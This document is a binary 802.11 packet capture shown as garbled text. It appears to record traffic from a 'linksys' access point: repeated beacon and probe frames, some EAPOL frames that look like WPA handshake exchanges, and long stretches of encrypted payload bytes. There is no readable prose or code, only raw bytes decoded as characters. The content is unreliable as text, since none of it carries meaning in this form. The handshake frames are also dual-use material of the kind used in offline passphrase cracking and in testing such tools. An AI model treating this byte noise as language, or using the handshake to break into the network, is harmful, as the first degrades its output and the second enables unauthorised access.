†Â¤…°'X=%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYDƒH †Â¤…ÎU˜ï †Â¤…PŸ¼dYD…‘ ÔÎU˜ï¼dYDÙíH †Â¤…ÎU˜ï †Â¤…`Ÿ¼dYDÁî ÔÎU˜ï¼dYD¼mm€ÿÿÿÿÿÿ †Â¤… †Â¤…(hæ>%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYD5H †Â¤…ÎU˜ï †Â¤…pŸ¼dYD3 ÔÎU˜ï¼dYD…ƒH †Â¤…ÎU˜ï †Â¤…€Ÿ¼dYD\„ ÔÎU˜ï¼dYD»ªmm€ÿÿÿÿÿÿ †Â¤… †Â¤…p(hv@%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYDw®H †Â¤…ÎU˜ï †Â¤…Ÿ¼dYDd¯ ÔÎU˜ï¼dYDH †Â¤…ÎU˜ï †Â¤… Ÿ¼dYDY ÔÎU˜ï¼dYD»:mm€ÿÿÿÿÿÿ †Â¤… †Â¤…Ð(hB%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYD‚>H †Â¤…ÎU˜ï †Â¤…°Ÿ¼dYD? ÔÎU˜ï¼dYDÇ  H †Â¤…ÎU˜ï †Â¤…ÀŸ¼dYD°¡ ÔÎU˜ï¼dYDºÊ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…0)h–C%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYDnÎ H †Â¤…ÎU˜ï †Â¤…П¼dYDoÏ ÔÎU˜ï¼dYD¹Z mm€ÿÿÿÿÿÿ †Â¤… †Â¤…)h&E%d1linksys‚„ US    *0¬¬¬« †¬þ¼dYDþW °: †Â¤…ÎU˜ï †Â¤…¼dYDY ÔÎU˜ï¼dYDÿ\ °:ÎU˜ï †Â¤… †Â¤… )¼dYDÈa AA: †Â¤…ÎU˜ï †Â¤…  linksys‚„ 0¬¬¬(¼dYDýb ÔÎU˜ï¼dYDçg $$:ÎU˜ï †Â¤… †Â¤…°)À‚„ ¼dYD‘ ™™:ÎU˜ï †Â¤… †Â¤…À)ªªˆŽuŠ‡Ã°û8ïý,"M_gÓ.Y¸œpXJ¿Y)0¬¬¬(¼dYDœŸ ÔÎU˜ï¼dYDZ­ »»:ÎU˜ï †Â¤… †Â¤…Ð)ªªˆŽ—ʇðû8ïý,"M_gH: †Â¤…ÎU˜ï †Â¤…0½dYDK? ÔÎU˜ï½dYD‚ŸH: †Â¤…ÎU˜ï †Â¤…@½dYD®  ÔÎU˜ï½dYDxÈmm€ÿÿÿÿÿÿ †Â¤… †Â¤…ð*hÖI%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDÞÌH: †Â¤…ÎU˜ï †Â¤…P½dYDÎ ÔÎU˜ï½dYD=.H: †Â¤…ÎU˜ï †Â¤…`½dYDM2 ÔÎU˜ï½dYDxXmm€ÿÿÿÿÿÿ †Â¤… †Â¤…P+hfK%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDÜ\H: †Â¤…ÎU˜ï †Â¤…p½dYD^ ÔÎU˜ï½dYD˜¼H: †Â¤…ÎU˜ï †Â¤…€½dYD«½ ÔÎU˜ï½dYDvèmm€ÿÿÿÿÿÿ †Â¤… †Â¤…°+höL%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDßìH: †Â¤…ÎU˜ï †Â¤…½dYDî ÔÎU˜ï½dYDõNH: †Â¤…ÎU˜ï †Â¤… ½dYDP ÔÎU˜ï½dYDuxmm€ÿÿÿÿÿÿ †Â¤… †Â¤…,h†N%d1linksys‚„ US    *0¬¬¬« †¬þ½dYD }H: †Â¤…ÎU˜ï †Â¤…°½dYDA~ ÔÎU˜ï½dYDáH: †Â¤…ÎU˜ï †Â¤…À½dYDXâ ÔÎU˜ï½dYDvmm€ÿÿÿÿÿÿ †Â¤… †Â¤…p,hP%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDå H: †Â¤…ÎU˜ï †Â¤…нdYD ÔÎU˜ï½dYD¥kH: †Â¤…ÎU˜ï †Â¤…à½dYD}o ÔÎU˜ï½dYDt˜mm€ÿÿÿÿÿÿ †Â¤… †Â¤…Ð,h¦Q%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDÜœH: †Â¤…ÎU˜ï †Â¤…ð½dYDž ÔÎU˜ï½dYDëý H: †Â¤…ÎU˜ï †Â¤…½dYDûþ ÔÎU˜ï½dYDv( mm€ÿÿÿÿÿÿ †Â¤… †Â¤…0-h6S%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDÜ, H: †Â¤…ÎU˜ï †Â¤…½dYD. ÔÎU˜ï½dYDE‘ H: †Â¤…ÎU˜ï †Â¤… ½dYDu’ ÔÎU˜ï½dYDr¸ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…-hÆT%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDͼ H: †Â¤…ÎU˜ï †Â¤…0½dYD¾ ÔÎU˜ï½dYDŸ H: †Â¤…ÎU˜ï †Â¤…@½dYDÈ ÔÎU˜ï½dYDsH mm€ÿÿÿÿÿÿ †Â¤… †Â¤…ð-hVV%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDêL H: †Â¤…ÎU˜ï †Â¤…P½dYDN ÔÎU˜ï½dYDü¬H: †Â¤…ÎU˜ï †Â¤…`½dYD± ÔÎU˜ï½dYDpØmm€ÿÿÿÿÿÿ †Â¤… †Â¤…P.hæW%d1linksys‚„ US    *0¬¬¬« †¬þ½dYDÝÜH: †Â¤…ÎU˜ï †Â¤…p½dYDÞ ÔÎU˜ï¾dYDýH: †Â¤…ÎU˜ï †Â¤…€¾dYDz ÔÎU˜ï¾dYD¦'mm€ÿÿÿÿÿÿ †Â¤… †Â¤…°.ÜwY%d1linksys‚„ US    *0¬¬¬« †¬þ¾dYD ,H: †Â¤…ÎU˜ï †Â¤…¾dYDC- ÔÎU˜ï¾dYD´ŒH: †Â¤…ÎU˜ï †Â¤… ¾dYDÚ ÔÎU˜ï¾dYD/¶mm€ÿÿÿÿÿÿ †Â¤… †Â¤…/h[%d1linksys‚„ US    *0¬¬¬« †¬þ¾dYDi¼èèBÔÎU˜ï †Â¤…fãä / b©T[I”qθ^h”’›D6&ngÞ(Ç<ÙÍZ ›³sü¨ŸÇ^Ó¥Q^·uÚyoO¸?áÝÖ(©ö¸„œÈìFQµZ;a"%e=[g|Ñïˆ,qµµ¦¶§ö’+¾K¦Y ™—ìÞ\ˆÒû¶¬_^üOæ›4à¶[5ÌéJGLó?HÉØ³EëòöDÒJ¹žV;œn$²"p[¡•‘˜7duª”Ì­í](âÄ€ÕžB4ð²:Ï‹ÖùÑ /j°8Ù¼@ºBŽ,”¡›(Vtç°ªª  9Ï“«W"Mà^½ÔÍá ¨üw­äøÜØì°ÔG„CØ9“§9€½)êÚœ¿„U/F)l:º}kC|¶çfêVF°øh«{é”y¯³ëë8orktLIJ<ï”6—œ »DHÍmÒX8(謯PYÕƒ+œX¹Ü>çL¦?DÆUq ÅXÁåsÙùª²‘K³V²ê¸‚ÎOÊœ)¥ØÌ¶O³ÇÂÖº|–¿›Zeõäž¶VËPËÈÉ뀧~»‚FW#ÍÆH“‡Txh¤UÛQP‚Æ ²¡…­ÐàÛ3Ǚà a<³L>Úhî\¦F2šÖ[øTÅN <ý  oApJsNÏOë2‹‹(¡^'VTfèÜn°åÞü¦å|¡xZã¦Ïk'‘¢žá_Ⱥ§Ÿ+uÔirj!Ð »XÚ”ˆòÒ Ó`ñ+| ö.~¨ }õ^1!³½qˆ,í½¤RÃe¤ ÷ öÎ' Aø±³tx÷§Îý¼Ú¨›êó®>ö)LsêÀ2= ÍbE ÔV½ìŒ¨£¶8úË?Å}]Œ‰¤ÇZx|º÷ø>º¦fœƒžŽ>›×\j€MŠõA=ŒðáÐM8¤'¤BU¸{þê×Zí*ªÀwL3ÁÞg€TÁòšd·‡¹1Íp­ŸIGõ¨ïÂãF;;€bHvXEI§¡q‡ 4DGžH¹Ò|Š$j)ܬI^•^$ 4×€à5-µqÅ×Ëz:+…ýõhèïÚ“Ü åþ›ñOxµ’s:Vž7··Ô8ý**ÖA¾Ýy©f -Õ½="Ç›[JEÄ(NM£þåŶ8¹Ža¿?!Í«œÅÕ6¡›ê¬÷®V¹ãj,ú™`ñ9¸NÆ;_@ÍZå˜ÿMš8ù«JMÀVý‡b͵J‰R?{Ú4¥ûj?“†Çw2ÄéݾƒeŒŽFN·•‹"!Tí/îùÊ‚øžsaE,S/­èØ)Øê;!ýˆ ÐQ &{GU¡È{WbŒ ZÒ­[¢î]*BJ`ç?s;YîÝ"(+ÀåÜñüIŠfÓ/Ò› ”¸2DZ¤`@â°;®6ñɰ~f„ÊÆëJUœH¹ÛÀD-²¯òŒSì­::üá·œêEta3r¤BZ}_—‹€?À§Ô`:t;Œö:@ãáªfK¥ø•çÚñ¥6Œ‹àˆí³r]xÖ¿´nØ$îq÷!ª]]†kÍß¹µ&–ÁÒ½ËA©(oüà&1š½.D6ùs.3rCòMŸíÊÇ¥W®óR¹ù&›]Qglˆ?º\‰¦s‰ÇŒÉáÆ®Ï£ÿ§ÊLuˆ—î˜ÊF§šmRdL;tÿX%5öà‘±de;*—xøÏ¢Ù…e­*jÑ.zZ=bµµJŒÍ½ÀY€”ŠÙÏ5ÑÕUËTø¾˜çÀ¸õµß0Ê5_Ö³¢II²‡O™„sÇɇÔzªô”ìMŒð»Kè¯ ê0³t½PµÔä¹Ó©ÎýħÌ(9"«|‚&†9vG]®c¡)»U ~Ç{δ,Î,Å¡~¢ëÚ/VU2“k»H?}h8ÐRÜŸëö ñ1kým¼iù/bb^îK¡w$^æv™.*¾dYD¾H: †Â¤…ÎU˜ï †Â¤…°¾dYD·¿ ÔÎU˜ï¾dYDÛH: †Â¤…ÎU˜ï †Â¤…À¾dYD ÔÎU˜ï¾dYDG%H: †Â¤…ÎU˜ï †Â¤…оdYD~& ÔÎU˜ï¾dYD£H: †Â¤…ÎU˜ï †Â¤…à¾dYD± ÔÎU˜ï¾dYD.Fmm€ÿÿÿÿÿÿ †Â¤… †Â¤…€/h–\%d1linksys‚„ US    *0¬¬¬« †¬þ¾dYD–JH: †Â¤…ÎU˜ï †Â¤…ð¾dYDÍK ÔÎU˜ï¾dYD¬H: †Â¤…ÎU˜ï †Â¤…¾dYDƒ¯ ÔÎU˜ï¾dYD ·  A: †Â¤…ÎU˜ïfãä0 +N‚^¬vf~0P…Ó+_ùfÕ/'[ÓUÒa°b ¥¬¡Üõýª¸‡b#;Q»1ž8r°æÕ4ËÄõGMæ¤DÌ}¨ ?+EiIÄàŽ™½”1m+áàá†ZlÎ×Ao6Ê3PKE1x0âÓ?îc¼oç¥I u.rî×¾dYD0Ömm€ÿÿÿÿÿÿ †Â¤… †Â¤…à/h&^%d1linksys‚„ US    *0¬¬¬« †¬þ¾dYD8ÛH: †Â¤…ÎU˜ï †Â¤…¾dYDÜ ÔÎU˜ï¾dYDwH: †Â¤…ÎU˜ï †Â¤…€¾dYD} ÔÎU˜ï¾dYDƒcH: †Â¤…ÎU˜ï †Â¤…¾dYD„hH: †Â¤…ÎU˜ï †Â¤…¾dYD®i ÔÎU˜ï¾dYDñ™H: †Â¤…ÎU˜ï †Â¤…¾dYD÷š ÔÎU˜ï¾dYDƒóH: †Â¤…ÎU˜ï †Â¤…¾dYD·øH: †Â¤…ÎU˜ï †Â¤…¾dYDåù ÔÎU˜ï¾dYDÏ/ H: †Â¤…ÎU˜ï †Â¤…€¾dYDØ0 ÔÎU˜ï¾dYD‚ƒ H: †Â¤…ÎU˜ï †Â¤…¾dYDш H: †Â¤…ÎU˜ï †Â¤…¾dYDŠ ÔÎU˜ï¾dYD¨Ž H: †Â¤…ÎU˜ï †Â¤… ¾dYDÝ ÔÎU˜ï¾dYD‚ H: †Â¤…ÎU˜ï †Â¤…°¾dYDÓ H: †Â¤…ÎU˜ï †Â¤…°¾dYD ÔÎU˜ï¾dYD­ H: †Â¤…ÎU˜ï †Â¤…À¾dYDå ÔÎU˜ï¾dYD€£ H: †Â¤…ÎU˜ï †Â¤…оdYD£¨ H: †Â¤…ÎU˜ï †Â¤…оdYDË© ÔÎU˜ï¾dYDj® H: †Â¤…ÎU˜ï †Â¤…à¾dYD¡¯ ÔÎU˜ï¾dYDÙ6H: †Â¤…ÎU˜ï †Â¤…ð¾dYD_=mm€ÿÿÿÿÿÿ †Â¤… †Â¤…2¢g%d1linksys‚„ US    *0¬¬¬« †¬þ¾dYD0?H: †Â¤…ÎU˜ï †Â¤…ð¾dYDq@ ÔÎU˜ï¿dYDH: †Â¤…ÎU˜ï †Â¤…¿dYD^ ÔÎU˜ï¿dYD@H: †Â¤…ÎU˜ï †Â¤…¿dYDÅ…H: †Â¤…ÎU˜ï †Â¤…¿dYDô† ÔÎU˜ï¿dYDš‹H: †Â¤…ÎU˜ï †Â¤… ¿dYDÓŒ ÔÎU˜ï¿dYD@H: †Â¤…ÎU˜ï †Â¤…0¿dYDDH: †Â¤…ÎU˜ï †Â¤…0¿dYDn ÔÎU˜ï¿dYDH: †Â¤…ÎU˜ï †Â¤…@¿dYDJ ÔÎU˜ï¿dYD±¢H: †Â¤…ÎU˜ï †Â¤…P¿dYD”§H: †Â¤…ÎU˜ï †Â¤…P¿dYDǨ ÔÎU˜ï¿dYDn­H: †Â¤…ÎU˜ï †Â¤…`¿dYD¡® ÔÎU˜ï¿dYD<1H: †Â¤…ÎU˜ï †Â¤…p¿dYDV6H: †Â¤…ÎU˜ï †Â¤…p¿dYD7 ÔÎU˜ï¿dYD'<H: †Â¤…ÎU˜ï †Â¤…€¿dYD]= ÔÎU˜ï¿dYD:ÁH: †Â¤…ÎU˜ï †Â¤…¿dYDXÆH: †Â¤…ÎU˜ï †Â¤…¿dYD~Ç ÔÎU˜ï¿dYD)ÌH: †Â¤…ÎU˜ï †Â¤… ¿dYD^Í ÔÎU˜ï¿dYDxqPiTX½"tÄXÒ§'©—2_[ø­™ääÀdYDé© ÔÎU˜ïÀdYD¹®^^Bÿÿÿÿÿÿ †Â¤…ÎU˜ï 8i`ýw¿,üÎ×ôÎVÓ¼¼ZÍÀÙ¬R¢4¨%¦B~RsD7Ä¡`»DMª²q8ÈJu×RŠj­^©®3u‰ÀdYD÷°^^BÔÎU˜ï †Â¤…fãä08 ð¥»ÁÖMØ<¤t<;å1ÇÀº|“‚ŒŸ°a^ôÅE"á6\Ui1D–©NÂuÄ<.Çgоã³\ãž¿×ÀdYD÷²^^JÔÎU˜ï †Â¤…fãä08 ð¥»ÁÖMØ<¤t<;å1ÇÀº|“‚ŒŸ°a^ôÅE"á6\Ui1D–©NÂuÄ<.Çgоã³\ãž¿×ÀdYDÖ¶^^JÔÎU˜ï †Â¤…fãä08 ð¥»ÁÖMØ<¤t<;å1ÇÀº|“‚ŒŸ°a^ôÅE"á6\Ui1D–©NÂuÄ<.Çgоã³\ãž¿×ÀdYDT¾^^JÔÎU˜ï †Â¤…fãä08 ð¥»ÁÖMØ<¤t<;å1ÇÀº|“‚ŒŸ°a^ôÅE"á6\Ui1D–©NÂuÄ<.Çgоã³\ãž¿×ÀdYDïÑQQA: †Â¤…ÎU˜ïfãäP Ä·³Hs¿³EîƒW±þ³U²’Bø¤ƒç†²×€aÉ[CÌë5üaÒè,ö£B ^ÀdYDÜ×^^BÔÎU˜ï †Â¤…fãä@8 מǯÓi<¥s%«2íôÈÈ®à^tøç |KÉK¼Ø“é¶9<ÝvÔú¥jIU¯uuÞÒÚAuU¨ÀdYDž!mm€ÿÿÿÿÿÿ †Â¤… †Â¤… 8hö~%d1linksys‚„ US    *0¬¬¬« †¬þÀdYD'%H: †Â¤…ÎU˜ï †Â¤…ÐÀdYDY& ÔÎU˜ïÀdYD†+H: †Â¤…ÎU˜ï †Â¤…àÀdYD», ÔÎU˜ïÀdYDó® H: †Â¤…ÎU˜ï †Â¤…ðÀdYD· H: †Â¤…ÎU˜ï †Â¤…ðÀdYDE¸ ÔÎU˜ïÀdYDê¼ H: †Â¤…ÎU˜ï †Â¤…ÀdYD¾ ÔÎU˜ïÀdYDA mm€ÿÿÿÿÿÿ †Â¤… †Â¤…`9h‚%d1linksys‚„ US    *0¬¬¬« †¬þÀdYD¡G H: †Â¤…ÎU˜ï †Â¤…ÀdYDÉH ÔÎU˜ïÀdYDM H: †Â¤…ÎU˜ï †Â¤… ÀdYD¹N ÔÎU˜ïÀdYDÑ mm€ÿÿÿÿÿÿ †Â¤… †Â¤…À9h¦ƒ%d1linksys‚„ US    *0¬¬¬« †¬þÀdYDamm€ÿÿÿÿÿÿ †Â¤… †Â¤… :h6…%d1linksys‚„ US    *0¬¬¬« †¬þÀdYDŠe°: †Â¤…ÎU˜ï †Â¤…ÀdYD½f ÔÎU˜ïÀdYDˆi°:ÎU˜ï †Â¤… †Â¤…0:ÀdYD¥m++: †Â¤…ÎU˜ï †Â¤…  linksys‚„ ÀdYDÙn ÔÎU˜ïÀdYDt:ÎU˜ï †Â¤… †Â¤…@: ÀÁdYDî®mm€ÿÿÿÿÿÿ †Â¤… †Â¤… :úņ%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDô>mm€ÿÿÿÿÿÿ †Â¤… †Â¤…;úUˆ%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDìÎmm€ÿÿÿÿÿÿ †Â¤… †Â¤…`;úå‰%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDè^mm€ÿÿÿÿÿÿ †Â¤… †Â¤…À;úu‹%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDèîmm€ÿÿÿÿÿÿ †Â¤… †Â¤… <ú%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDê~mm€ÿÿÿÿÿÿ †Â¤… †Â¤…€<ú•Ž%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDé mm€ÿÿÿÿÿÿ †Â¤… †Â¤…à<ú%%d1linksys‚„ US    *0¬¬¬« †¬þÁdYD¡ 11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿPlinksys‚„  $20H`lÁdYDµ£ **@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿ`‚„  $20H`lÁdYDo§ WWP:ÎU˜ï †Â¤… †Â¤…ð<Þ»%d1linksys‚„ US  *0¬¬¬ÁdYD² 11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿplinksys‚„  $20H`lÁdYD8 **@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿ€‚„  $20H`lÁdYDö WWP:ÎU˜ï †Â¤… †Â¤…=s‘%d1linksys‚„ US  *0¬¬¬ÁdYD²a 11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿlinksys‚„  $20H`lÁdYD:d **@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿ ‚„  $20H`lÁdYDèž mm€ÿÿÿÿÿÿ †Â¤… †Â¤…`=úµ‘%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDÅ! 11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿÐlinksys‚„  $20H`lÁdYD=$ **@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿà‚„  $20H`lÁdYDµ) Ô¿2ÁdYDç. mm€ÿÿÿÿÿÿ †Â¤… †Â¤…À=úE“%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDå¾mm€ÿÿÿÿÿÿ †Â¤… †Â¤… >úÕ”%d1linksys‚„ US    *0¬¬¬« †¬þÁdYDi11@ÿÿÿÿÿÿÎU˜ïÿÿÿÿÿÿ°linksys‚„  $20H`lÁdYDÖ WWP:ÎU˜ï †Â¤… †Â¤…0>2#•%d1linksys‚„ US  *0¬¬¬ÂdYD-°: †Â¤…ÎU˜ï †Â¤…ÀÂdYD_Ž ÔÎU˜ïÂdYD‘°:ÎU˜ï †Â¤… †Â¤…@>ÂdYDá•AA: †Â¤…ÎU˜ï †Â¤…Ð linksys‚„ 0¬¬¬(ÂdYD— ÔÎU˜ïÂdYDXœ$$:ÎU˜ï †Â¤… †Â¤…P>À‚„ ÂdYDÓå™™:ÎU˜ï †Â¤… †Â¤…`>ªªˆŽuŠ›ß Èž^2 ÷§Oã-ö[¸ÁŸfK˜®÷ ¹dM)ݬÔ,è°eø€US¡¶‰NäRÂdYDõ™™: †Â¤…ÎU˜ï †Â¤…ªªˆŽu èß¡k‡i•}‚I¤ìhÒ·d7‚.ðÜ7°ÌH4>Ôq¦%ú­çΜ‚!÷±ÛÎF0¬¬¬(ÂdYD;ö ÔÎU˜ïÂdYDmm€ÿÿÿÿÿÿ †Â¤… †Â¤…À>hi–%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD»»:ÎU˜ï †Â¤… †Â¤…Ð>ªªˆŽ—Ê›ß Èž^2 ÷§Oã-ö[¸ÁŸfK˜®÷ ¹dM)Ô—Ðó¥Î ‚Þ°d4^’38€+Í”à§ÿ$Y ì‘üíÜþ5_ÝåׯJ^ Ï¥0•-‹j†WŒc\Úwñ]`èŽ^TŠ’wNÂdYDÊ=ƒƒ: †Â¤…ÎU˜ï †Â¤… ªªˆŽ_ –’››€¡·ÍxˆFðÂdYDö> ÔÎU˜ïÂdYD_DQQA: †Â¤…ÎU˜ïfãä0 q:˜½ØÅÂ!žÁS;>ýŒKàÐf^êêRœ¡<*ËSãy§ pO¯†´w§ÂdYD~J^^BÔÎU˜ï †Â¤…fãäà> œ¥ \Bw“êÞÌ6û¶|!ºðtáØ·e!Ò£^ÒЈ‚Ú†ï¯ìCé Á­ü÷<@‰Ž¿þªÿ›ÝÙŽ0ÁÂdYDmm€ÿÿÿÿÿÿ †Â¤… †Â¤…@?hö—%d1linksys‚„ US    *0¬¬¬« †¬þÂdYDmµH: †Â¤…ÎU˜ï †Â¤…àÂdYD‹¶ ÔÎU˜ïÂdYDgH: †Â¤…ÎU˜ï †Â¤…ðÂdYDŽ*H : †Â¤…ÎU˜ï †Â¤…ðÂdYDŸ-H : †Â¤…ÎU˜ï †Â¤…ðÂdYDÔ. ÔÎU˜ïÂdYDb3mm€ÿÿÿÿÿÿ †Â¤… †Â¤… ?´Œ™%d1linksys‚„ US    *0¬¬¬« †¬þÂdYDÎ7H: †Â¤…ÎU˜ï †Â¤…ÂdYD9 ÔÎU˜ïÂdYD@’H: †Â¤…ÎU˜ï †Â¤…ÂdYDL“ ÔÎU˜ïÂdYD½mm€ÿÿÿÿÿÿ †Â¤… †Â¤…@h›%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD€ÁH: †Â¤…ÎU˜ï †Â¤… ÂdYDµÂ ÔÎU˜ïÂdYDt$H: †Â¤…ÎU˜ï †Â¤…0ÂdYD¦% ÔÎU˜ïÂdYDMmm€ÿÿÿÿÿÿ †Â¤… †Â¤…`@h¦œ%d1linksys‚„ US    *0¬¬¬« †¬þÂdYDQH: †Â¤…ÎU˜ï †Â¤…@ÂdYD´R ÔÎU˜ïÂdYDݲH: †Â¤…ÎU˜ï †Â¤…PÂdYDB· ÔÎU˜ïÂdYDÝmm€ÿÿÿÿÿÿ †Â¤… †Â¤…À@h6ž%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD„áH: †Â¤…ÎU˜ï †Â¤…`ÂdYD·â ÔÎU˜ïÂdYDCA H: †Â¤…ÎU˜ï †Â¤…pÂdYD»D ÔÎU˜ïÂdYDm mm€ÿÿÿÿÿÿ †Â¤… †Â¤… AhÆŸ%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD}q H: †Â¤…ÎU˜ï †Â¤…€ÂdYD²r ÔÎU˜ïÂdYDŒÓ H: †Â¤…ÎU˜ï †Â¤…ÂdYD Ô ÔÎU˜ïÂdYD)ý mm€ÿÿÿÿÿÿ †Â¤… †Â¤…€AV¡%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD— H: †Â¤…ÎU˜ï †Â¤… ÂdYDË ÔÎU˜ïÂdYDÔe H: †Â¤…ÎU˜ï †Â¤…°ÂdYDçf ÔÎU˜ïÂdYD mm€ÿÿÿÿÿÿ †Â¤… †Â¤…àAhæ¢%d1linksys‚„ US    *0¬¬¬« †¬þÂdYD³‘ H: †Â¤…ÎU˜ï †Â¤…ÀÂdYDæ’ ÔÎU˜ïÂdYDÈïH: †Â¤…ÎU˜ï †Â¤…ÐÂdYD·ð ÔÎU˜ïÂdYDmm€ÿÿÿÿÿÿ †Â¤… †Â¤…@Bhv¤%d1linksys‚„ US    *0¬¬¬« †¬þÂdYDÁtt<ÁÆ¥f 膱ÏÚBбÒûÃ>^öVZ(-µ¥hç$Ê8ó|p^½ˆ|,#v#þǵG5=¯Â\¦ï‘â×Há0,!Žš?ìøÝ:Â{v‘3ó© çUŠúÌV Šn*ÑÃ5 @àöÚTg®ukâ78jÎLŸj+íÑŒA9£ô´v í¹«’¸ŸỄ¼‰ÚžÃõ¼´‘òê¡5}óDcnÆsÏö䊛o÷G¶e ßÀÞ}-{“1Iœ½‘¡—“@çsõi³´b¦è£­M†î2J(¤R”²ûbO)¿±5­emb–&Vx€Ä ã±Ð20Q±^l²¨ÓóÕÂ^/ýÑA€ÎÑú 3ÂqÜ¡´³ç¯ÅÇL ó–šÉÁ ÔÐÌ8Ü”K ãõùæb%›ÿ© Îqø€eC0` m 2«¾ÅJy‚Æî‡™‰<¸BRýÌ^p—º3¹ö”úÐjZ*ÚÉA'ÉžЕ>îO‹†ó|0¡;Љ¢(Î$Ú ;9î%~¤uS¬=CsáïàÑÇ\ùÒs@h;¿4ýl4ˆµÊ6êw½7µDÓÛkIöp!72­Õ¸4ÙCÐwn,2•b_µ9p²i— ðÐ'Mœlz¹§ Óœsé)&÷áçâÛM]{Zï)¢Ô‹«ößÊ{î`ýå9Ú….f4Wz©Ð‡»qØÔÇi$aˆ;ŽÛÀ#q]KÂžæ¤ø¡1ÞüB ÐÊŠLêtŠwã³rœ'ÿ°gé` ¤g“ø±‰&÷!3²¡B 2¡ò ë­1&N€„´yŽÀÔéÎHS(SpÞƒÍÄ…}£ÜöA$XI.båç‚î;ÅëÆ¸xçÌÊúu·Ã+2©»ÖÌ-&lfÌšj½iÌ>?§Ñ‡•L0.Xõ‡–Qøú‘þñgQå͆$|ÅŸhN7}‚æŸö3ãZ>àÈ<lÉÈq=ð|„0û4PY3Á¶Ò™¸Ü—¡?4?eÖ¾Ž ã½ýqL¢€XŽª²’cOÀ-7¬{D›Ž’î§Kêüô‚YºÚßÑÆ?|õɲ‘ÝXüS|uS;Js„>3“'×&!бLMHéF½I7ŠuŽû.`RÄ J{X{gâ* 2מå:nÞtÛñÓ Zî;ËÒ!C § ñä¥6Üö:ŒFìÔrœMýa7¡4æÓbŠgÅ¥I¯ÌûŠ€Ë#8ˆ¦Yꢌ:1.ÓÑoâÚ?¼7†ãBÒôpøÊRq5FyòLÚÞܰêÚú?M”:eþÝa¬Ù–7ÞB[±\ócü (Ê (¥EFEILVÓ·ôƒßÇV[Žù‘eëØüÎÙ]\ÿÑY\kû¶ƒ õäì`•⠘р¡èèÖ-Göjz®eúÅOq{:½Û>Îz†3Î^6ÓšD=Úb(®†}>Æ ¦v(k ¥1QÛDÁHab¿/K–PôTgó}â3î„9¤8 –‹¥ŠÙKØŸO’çp=¼A{H@sˆ!ò[·ù›y†¡tRÀu+yiSN ÿÿ6,²´]Žç×åZì%°À] )ÇÞ›¡Ô^‰Š³3“V³Õ‘u:¸à™ëch½ ݸ2C½Q)A•©IUsS–Àq¸V  뾚ås\ƒµUŠGã…¹Ë?çi)•¤‰1Ëe šÐsÜX-Æëg|¤GµžØGÿl4I27š¡Q~9ÿ%®“¨ò’¸œ2&d“8ˆ(@‰â›9eZå–ÎÝj‘³8ç2B:ß–Oix§˜Ñ5‚~wºí˜¤ü+¬Õ …#/§Á©]]ÿÖÐVÆüÍ¡"Ê—RŽìòíÆÿc ÍrçWJ1¶‹Å%ø¦ÇMH| sj¶…/šœÖ•eJãq¸3BA#þþ”úªLSßvˆÕÓÆÏLGœuµâ‹ƒƒz×:•J‘xb©¡Ã’êã~+_»Ù+¤wê Ž”ûë\JþÕÃ’$²ˆS Ô(9ÚRlvaÊMÖOÕc®µá|íª”åÕ=[Û‰7Ãcøþhñ«á'ÝJUÇ-Ãp×r“é*?Ñ'¡c¶{†ìÏeCØ«…·ãÁ¸?òCD1¥TçnR¬géZÜY˜Úz)Ásh$HÓe²6'€.5;€ Éðü¨µ?>=y¤Áþâ¸Eö«ŽHÇ3\¶ŒLÒ/£·Ëß?€Ä‚3%ókîð“—A;E¶5ÚµÞ—ð `t>u’ºÐÿ³ y “-æ¸ß¡ë¹‚¬@ÈôÅ»¶| ÷˜Á"Tø‡|…¨áP2&¿:i3Ï&Ün ЬA©-¨·n¬O”:Éïãɬ÷i±©[ì;¹ dÖ»¢¬Ñ ˜M¡ø"bÖƒæìÀí`¹H ,U˜ÛûŽVKNW +ÁulN °zÙÚyBâ5—D8#§øM%¥cmY°‡ŠÌÁæííý·F?Áˆ3›ZzfáàJµÕAÖüÒÙM•qí¥úz§|ö5gtQ9*Øâ_  Žmý°.Œ2%(xÉcžË,[Ãc‹ßù¨±r»ÑN”"­îhnA›ÚúûZá.!¼²MÑÒcš³ ÎþÛ÷ Ö‚Á çgÕg¡&}4¸¾=Z/Äò€Ýå¨cÕ*•àŸR¬¦ÓçJ)¶þr܉N56Ñì[§lõÛ ¢Ó³°3Š0æú! 11´ªøöìZwý%p7vάn:7=7~!4öGVGÒõJù ÝSbVtŠòØuüC„Þ7c-œ³©4tצ¦Ùp;]²¢PQ_ñ£S:Ý[¢ ­2s¢D׬¿ÄÿTÈ_59deº(u ³.Nɨ,.Nû×à ÃdYDÌmm€ÿÿÿÿÿÿ †Â¤… †Â¤…ðCh¶ª%d1linksys‚„ US    *0¬¬¬« 